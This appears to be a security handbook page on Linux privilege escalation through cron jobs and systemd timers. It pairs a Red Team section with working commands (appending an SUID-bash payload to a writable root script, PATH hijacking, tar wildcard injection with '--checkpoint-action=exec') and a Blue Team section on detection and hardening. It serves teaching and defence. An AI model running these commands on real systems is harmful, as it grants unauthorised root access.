Cron Jobs and Timers
Cron and systemd timers run scheduled tasks, many of them as root. If one of those tasks runs a script or binary you can modify, uses a relative PATH, or handles wildcards insecurely, you inject your code and get execution as root when the task fires. It’s a classic and very reliable privesc vector because maintenance tasks are often written in a hurry with loose permissions.
flowchart LR
A["Writable cron script"] -->|"attacker appends payload"| B["Cron fires as root"]
B --> C["Payload runs as root"]
C --> D["SUID bash / root reverse shell"]
Threat model
Section titled “Threat model”The attacker needs no credentials: just a privileged task that touches something they control. The result is deferred execution as root (when cron fires). The challenge is finding the task; many aren’t visible in files the user can read, which is why pspy is key.
Theory / Where tasks live
Section titled “Theory / Where tasks live”cat /etc/crontab # system cron (includes the running user)ls -la /etc/cron.d/ # additional system tasksls -la /etc/cron.{hourly,daily,weekly,monthly}/ # scripts by frequencycrontab -l # the current user's crontabls -la /var/spool/cron/crontabs/ # per-user crontabs (if readable)systemctl list-timers --all # systemd timers (modern alternative)Abuse precondition: the task runs with more privilege than you and executes a resource you can influence (content, path, or arguments).
Red Team
Section titled “Red Team”Enumerate and spy with pspy
Section titled “Enumerate and spy with pspy”You don’t always see root’s tasks in the files. pspy reveals them by watching /proc without privileges:
cat /etc/crontab; ls -la /etc/cron.*./pspy64 -pf -i 1000 # processes and filesystem events livepspy shows commands, PIDs, and UIDs of running tasks, including root’s that you can’t read.
Vector 1 — writable script run by root
Section titled “Vector 1 — writable script run by root”ls -la /opt/backup.sh # writable by you/your group?echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh# wait for cron to fire it, then:/tmp/rootbash -p # id -> euid=0Vector 2 — relative PATH in the task
Section titled “Vector 2 — relative PATH in the task”If crontab defines PATH=/home/user:/usr/bin and the task calls backup without a path:
printf '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb\n' > ~/backupchmod +x ~/backup # cron runs your ~/backup as rootVector 3 — wildcard injection (tar, rsync, chown, chmod)
Section titled “Vector 3 — wildcard injection (tar, rsync, chown, chmod)”If the task uses a wildcard (tar czf backup.tar.gz *) in a directory where you can create files, you abuse the flags the wildcard expands into arguments:
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.shtouch -- '--checkpoint=1'touch -- '--checkpoint-action=exec=sh shell.sh'# when root runs "tar ... *", tar reads the files as flags and runs shell.shFor rsync there’s -e; for chown/chmod, --reference=.
Vector 4 — referenced but nonexistent script
Section titled “Vector 4 — referenced but nonexistent script”If the task calls a script that doesn’t exist in a path where you can create it, you create it and wait for the trigger.
systemd timers
Section titled “systemd timers”cat /etc/systemd/system/*.service # ExecStart pointing to a writable binary/script?cat /etc/systemd/system/*.timer # trigger cadenceSame abuse: if ExecStart points to something you control, it’s root when it fires.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- auditd/FIM on
/etc/crontab,/etc/cron.d/,/etc/cron.*,/var/spool/cron/,.service/.timerunits: alert on creation or modification. - auditd on
execveof shells/chmod +sspawned by the cron/systemd PID (parentcron/CROND/systemd). - Defender-side pspy: in threat hunting, look for tasks running paths in
/tmp,/home, or world-writable.
Telemetry
Section titled “Telemetry”Cron logs (/var/log/syslog, journalctl -u cron), auditd execution and write events on task directories.
Hardening
Section titled “Hardening”- Absolute paths in tasks and the commands they invoke; secure, explicit
PATHin crontab. - Cron scripts owned by root and non-writable (
chmod 700, root owner); non-writable containing directory. - Avoid wildcards in commands running as root over writable directories; use
./*or explicit paths, orfind ... -exec. - Least privilege: don’t run the task as root unless essential.
Response
Section titled “Response”A modified cron script or a new .service is usually persistence (see Persistence); compare with baseline, revert, and rotate credentials.
Checklist
Section titled “Checklist”- Enumerate crontab,
/etc/cron.*,cron.d, and systemd timers -
pspyto see root tasks/processes live - Cron scripts writable by you/your group
- Relative PATH → PATH hijacking
- Wildcard injection (tar/rsync/chown in a writable dir)
- Referenced but nonexistent scripts in a writable path
- Timer
ExecStartpointing to something you control - Blue: absolute paths, non-writable scripts, no wildcards, FIM?